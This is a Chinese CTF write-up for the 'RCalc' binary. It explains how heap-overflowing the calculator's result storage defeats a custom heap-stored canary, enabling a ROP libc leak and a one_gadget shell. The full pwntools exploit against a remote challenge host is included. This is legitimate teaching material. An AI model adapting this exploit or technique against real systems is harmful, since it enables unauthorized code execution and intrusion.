Loading... 这是一个挺有意思的栈溢出题,很久没做过栈溢出了,居然看了很久才发现漏洞点是栈溢出.. <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/855349889.png "></div> 这里很明显有栈溢出,然后下面的 ``` result = sub_400B92(); if ( result != v2 ) sub_400BD4(); ``` 感觉像是 canary,但是 `checksec` 一下发现并没有开启 canary <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/1560920326.png "></div> 然后看一下 `sub_400AAB` 这个函数 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/962604859.png "></div> 发现是一个随机数生成的函数,并存到了 `*(qword_6020F0 + 8) + 8 * (*qword_6020F0 - 1)` 中 而 `sub_400B92` 函数 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/3572355682.png "></div> 则是从 `*(qword_6020F0 + 8) + 8 * (*qword_6020F0) - 8` 中取回,也就是之前放进去的地方。也就是说这里是出题人自己实现了一个 canary,那么我们就无法直接栈溢出了。 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/1533592075.png "></div> 从这里则可以知道,`qword_6020F0 + 8` 指向一个堆块的头。 然后再来看计算器中保存结果的这个函数 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/3407703838.png "></div> 发现他是存到一个堆块中的,并且这个堆块在存 canary 的那个堆块的前面,也就是说我们完全可以利用计算器存储结果的这个函数实现堆溢出,溢出到储存 canary 的堆块里面,把我们栈溢出的函数保留的 canary 改为一个我们控制的值,在栈溢出时就可以覆盖 canary 了,这样就可以进行 rop 了。 又由于是 `%s` 造成的栈溢出,所以空格和换行都不能出现在 payload 中,`__libc_start_main@got` 是唯一一个不含空格的 got 表项,`printf@plt` 不含空格,而 `puts@plt` 含,所以也需要使用 `printf`。这样 leak 出了 libc_base 之后,就可以尝试 getshell 了,一般的做法是用 `system`,但是不知道为什么,我用 `system` 无法打通,会出现这样的错误: <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/944643690.png "></div> 遂使用 `one_gadget`,打通 ### exp ```python #!/usr/bin/env python # coding=utf-8 from pwn import * from LibcSearcher import * context.terminal = ["tmux","splitw","-h"] #context.log_level = 'debug' elf = ELF('./RCalc') pop_rdi_ret = 0x401123 csu1 = 0x40111A csu2 = 0x401100 def add_once(): sh.sendlineafter("choice:",'1') sh.sendlineafter("integer: ",'0') sh.sendline('0') sh.sendlineafter("result? ",'yes') #sh = process("./RCalc") sh = remote("111.200.241.244",37644) payload = 'a' * 0x108 + p64(0) + p64(0) payload += p64(0x4007fe) #ret,stack align payload += p64(pop_rdi_ret) payload += p64(elf.got["__libc_start_main"]) payload += p64(elf.symbols["printf"]) payload += p64(0x401094) #ret2overflow sh.sendlineafter("pls: ",payload) for i in range(34 + 1): add_once() #gdb.attach(proc.pidof(sh)[0]) sh.sendlineafter("choice:",'5') __libc_start_main_addr = u64(sh.recv(6) + '\x00\x00') libcs = LibcSearcher("__libc_start_main",__libc_start_main_addr) libc_base = __libc_start_main_addr - libcs.dump("__libc_start_main") libc = ELF("./libc.so.6") log.success("libc_base:" + hex(libc_base)) system_addr = libc_base + libc.symbols["system"] bin_sh_addr = libc_base + libc.search("/bin/sh").next() one_gadget = libc_base + 0x4526a log.success("system_addr:" + hex(system_addr)) log.success("bin_sh_addr:" + hex(bin_sh_addr)) payload = 'a' * 0x108 + p64(0) + p64(0) #payload += p64(pop_rdi_ret) #payload += p64(bin_sh_addr) #payload += p64(system_addr) payload += p64(one_gadget) sh.sendlineafter("pls: ",payload) for i in range(34 + 1): add_once() sh.sendlineafter("choice:",'5') sh.interactive() ``` 最后修改:2021 年 03 月 06 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧